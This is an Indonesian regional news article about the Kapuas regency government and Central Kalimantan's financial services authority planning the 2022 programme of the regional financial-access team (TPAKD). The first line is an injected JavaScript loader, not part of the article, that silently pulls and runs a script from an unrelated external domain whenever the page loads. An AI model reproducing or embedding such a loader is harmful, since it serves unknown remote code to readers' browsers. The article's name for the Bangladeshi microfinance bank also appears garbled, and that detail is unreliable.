(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemkab Kapuas-OJK Kalteng Susun Program TPAKD 2022, Ini Kata Sekda Kapuas

KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas bersama Otoritas Jasa Keuangan (OJK) Provinsi Kalimantan Tengah mengadakan pertemuan terkait penyusunan program kerja Tim Percepatan Akses Keuangan Daerah (TPAKD) Kapuas tahun 2022 di aula Bappeda Kabupaten Kapuas, Kamis (17/3/2022).

Kegiatan tersebut dipimpin Sekretaris Daerah (Sekda) Kabupaten Kapuas Drs Septedy MSi didampingi perwakilan OJK Provinsi Kalteng Ricky Chandra, Perwakilan Bank Indonesia (BI) Provinsi Kalteng Bryan Diwo. Turut hadir juga dalam rapat tersebut sejumlah Kepala OPD Lingkup Pemkab Kapuas, Camat dan perwakilan BNI Kuala Kapuas.

Rapat TPAKD tersebut untuk membentuk program kerja untuk mendukung ekonomi masyarakat Kapuas, sesuai dengan yang diamanatkan oleh surat Menteri Dalam Negeri.

Sekda Kabupaten Kapuas Drs Septedy MSi mengatakan, program kerja ini terinspirasi dari operasional Kateringan Bank di Bangladesh, karena bagaimana masyarakat di Bangladesh yang sangat tidak mampu itu bisa mengakses keuangan dengan prosedur yang berbeda dengan masyarakat yang berkecukupan, tetapi Kateringan Bank ini sasarannya adalah masyarakat yang benar-benar tidak mampu diberikan akses tersebut.

Lebih lanjut, Septedy menjelaskan, dilihat dari hasil penelitian program tersebut, hanya 2 persen yang tidak mampu membayar. Artinya dengan program itu 98 persen telah berhasil dengan kunci pelaksanaannya bukan berdasarkan dari belas kasihan, tapi pendekatannya adalah motivasi dan mengangkat harkat dan martabat, serta harga diri itu penegakannya.

“Konsep ini yang mungkin akan kita bangun dalam program kerja di Kabupaten Kapuas, semoga program kerja ini nantinya betul-betul bisa lebih tajam dan lebihnya bisa membantu masyarakat yang benar-benar tidak mampu ini dengan pendekatan dengan juga keterlibatan dari perangkat daerah,” kata Septedy.

Perwakilan OJK Provinsi Kalteng Ricky Chandra mengatakan bahwa TPAKD ini adalah forum koordinasi dan bagaimana suatu sektor keuangan berperan terhadap pengembangan ekonomi di masing-masing daerah, untuk pelaporan serta perencanaannya diharapkan bisa berdiskusi kembali dan bisa ditetapkan beberapa program yang sudah ada.

“Untuk tahap pembentukan program kerja ini bisa menentukan tema terlebih dahulu, sasarannya seperti apa dan klasifikasinya. Program kerja ini tidak selalu baru, tetapi juga bisa dengan program yang telah ada, tetapi bisa terukur dan memenuhi sasaran lebih tepat kepada masyrakat, dengan nanti program-program yang dibuat bisa membantu masyarakat di Kabupaten Kapuas,” ungkapnya. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk